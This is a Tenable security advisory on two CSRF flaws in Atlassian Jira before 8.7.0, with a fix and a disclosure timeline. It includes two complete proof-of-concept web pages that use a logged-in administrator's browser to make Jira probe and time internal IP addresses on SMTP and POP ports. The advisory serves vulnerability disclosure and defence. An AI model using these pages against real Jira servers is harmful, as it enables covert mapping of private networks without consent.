Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Atlassian Jira Multiple CSRF

Medium

Synopsis

Tenable has discovered a couple of CSRF issues in Atlassian Jira before version 8.7.0

CVE-2019-20098: CSRF via SMTP Server Connection Testing

When configuring an SMTP Server Connection, the “Test Connection” functionality does not properly validate the referrer or atl_token attributes. This allows for a CSRF that could enumerate hosts available to the JIRA server. Our researcher created a host discovery web page as a proof of concept.

 <html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <h2>CSRF Host Discovery Scanner via the SMTP Server</h2>
    <p><button onclick="startScan()">scan</button>
    <br>
    <textarea id="textarea" rows=34 cols=50></textarea>
    <script>
      function startScan() {
        document.getElementById("textarea".value="");
        scan(220, 250, 25);
      }
      function scan(ip1, ip2, port) {
        var timer = 0;
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
          if (xhttp.readyState == 1) {
            timer = Date.now();
          }
          else if (xhttp.readyState == 4) {
            timer = Date.now() - timer;
            document.getElementById("textarea").value += "\nip: " + scanIp + " \tResponse time: " + timer + "ms";
            if (ip1 < ip2) {
              scan(ip1 + 1, ip2, port);
            }
          }
          else {
            document.getElementById("textarea").value += "\nip: " + scanIp + "\tReadyState = " + xttp.readyState + "\n";
          }
        }
        var scanIp = "[ip_address_minus_lower_octet]" + ip1.toString();
        data = "name=bob&description=desc&from=bob%40email.com&prefix=prefix&protocol=smtp&serverName=" + scanIp
             + "&port=" + port.toString() + "&timeout=10000&username=&password=&jndiLocation=&id=10000&type=smtp";
        xhttp.open("POST", "http://[ipaddress]:8080/secure/admin/VerifySmtpServerConnection!update.jspa", true);
        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhttp.withCredentials = true;
        xhttp.send(data);
      }
    </script>
  </body>
</html>

This code generates a request to the Jira server to verify the SMTP server connection for a range of IP addresses. The script times the delay between the readyState transition from 1 to 4, and posts it on a textArea on the web page. When completed, this page will show a list of hosts and their response times. Hosts that timeout or take too long to respond are considered down, whereas existing hosts will respond relatively quickly. In our testing, we’ve found this tool to be reliable and consistent with other host enumeration tools such as nmap.

CVE-2019-20099: CSRF via POP / IMAP Mail Connection Testing

Similar to the above, a CSRF exists in the Test Connection functionality available when creating POP and IMAP connections. The following script was created to demonstrate this flaw:

<html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <h2>CSRF Host Discovery Scanner via the POP3 Server</h2>
    <p><button onclick="startScan()">scan</button>
    <br>
    <textarea id="textarea" rows=34 cols=50></textarea>
    <script>
      function startScan() {
        document.getElementById("textarea".value="");
        scan(220, 250, 110);
      }
      function scan(ip1, ip2, port) {
        var timer = 0;
        var xhttp = new XMLHttpRequest();
        xhttp.onreadystatechange = function() {
          if (xhttp.readyState == 1) {
            timer = Date.now();
          }
          else if (xhttp.readyState == 4) {
            timer = Date.now() - timer;
            document.getElementById("textarea").value += "\nip: " + scanIp + " \tResponse time: " + timer + "ms";
            if (ip1 < ip2) {
              scan(ip1 + 1, ip2, port);
            }
          }
          else {
              document.getElementById("textarea").value += "readyState = " + xttp.readyState + "\n";
            }
        }
        var scanIp = "[ipaddress_without_lower_octet]" + ip1.toString();
        data = "name=u&description=u&serviceProvider=custom&protocol=pop3&serverName=" + scanIp + "&port=" + port.toString()
             + "&timeout=10000&username=admin&changePassword=true&password=test123&type=pop";
        xhttp.open("POST", "http://[ipaddress]:8080/secure/admin/VerifyPopServerConnection!add.jspa", true);
        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhttp.withCredentials = true;
        xhttp.send(data);
      }
    </script>
  </body>
</html>

Solution

Upgrade to 8.7.0 or above

Disclosure Timeline

October 15, 2019 - Tenable reaches out to Atlassian for dedicated security contact.
October 15, 2019 - Automated response from Atlassian Support.
October 15, 2019 - Atlassian states that they've forwarded the inquiry to their security team.
October 16, 2019 - Atlassian forwards us to BugCrowd.
October 16, 2019 - Tenable explains why that is insufficient.
October 16, 2019 - Atlassian asks us to submit a support ticket.
October 16, 2019 - Atlassian provides a security contact.
October 28, 2019 - Tenable discloses issues. (Jan 28 marks 90 days)
October 28, 2019 - Atlassian sends an automated acknowledgment. Assigned SEC-2250.
October 28, 2019 - Atlassian rejects 2 issues, provides tracking number for other 2 issues.
October 30, 2019 - Tenable follows up.
November 14, 2019 - Tenable requests status update.
December 7, 2019 - Tenable requests status update.
December 9, 2019 - Atlassian closes ticket and marks as resolved with no explanation.
December 9, 2019 - Tenable requests status update and reminds Atlassian of our disclosure policy.
December 17, 2019 - Tenable makes inquiry to Atlassian Head of Security.
December 17, 2019 - Atlassian Head of Security responds and copies Product Manager on message.
December 18, 2019 - Atlassian Product Manager responds and copies Product Security Manager on message.
December 21, 2019 - Atlassian Product Security Manager responds with additional triage information.
January 6, 2020 - Tenable acknowledges responses and requests status update.
January 8, 2020 - Atlassian assigns CVEs.
January 9, 2020 - Atlassian requests extension to March.
January 9, 2020 - Tenable denies request.
January 9, 2020 - Atlassian states they won't be able to meet deadline.
January 27, 2020 - Atlassian requests extension to Feb. 17.
January 28, 2020 - Atlassian states they can patch by Feb. 3.
January 28, 2020 - Tenable grants 2-week extension.
February 3, 2020 - Tenable reaches out to Atlassian to see if patch is included in latest Jira release.
February 3, 2020 - Atlassian acknowledges the patches were included.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io

FREE FOR 30 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now.

Buy Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Choose Your Subscription Option:

Buy Now
Try for Free Buy Now

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy Nessus Professional

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year. Full details here.

Try for Free Buy Now

Try Tenable.io Web Application Scanning

FREE FOR 30 DAYS

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable.io platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Buy Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try for Free Contact Sales

Try Tenable.io Container Security

FREE FOR 30 DAYS

Enjoy full access to the only container security offering integrated into a vulnerability management platform. Monitor container images for vulnerabilities, malware and policy violations. Integrate with continuous integration and continuous deployment (CI/CD) systems to support DevOps practices, strengthen security and support enterprise policy compliance.

Buy Tenable.io Container Security

Tenable.io Container Security seamlessly and securely enables DevOps processes by providing visibility into the security of container images – including vulnerabilities, malware and policy violations – through integration with the build process.

Get a Demo of Tenable.sc

Please fill out the form below with your contact information and a sales representative will contact you shortly to schedule a demo. You may also include a short comment (limited to 255 characters). Please note that fields with asterisks (*) are mandatory.

Try for Free Contact Sales

Try Tenable Lumin

FREE FOR 30 DAYS

Visualize and explore your Cyber Exposure, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Buy Tenable Lumin

Contact a Sales Representative to see how Lumin can help you gain insight across your entire organization and manage cyber risk.

Request a demo of Tenable.ot

Get the Operational Technology Security You Need.
Reduce the Risk You Don’t.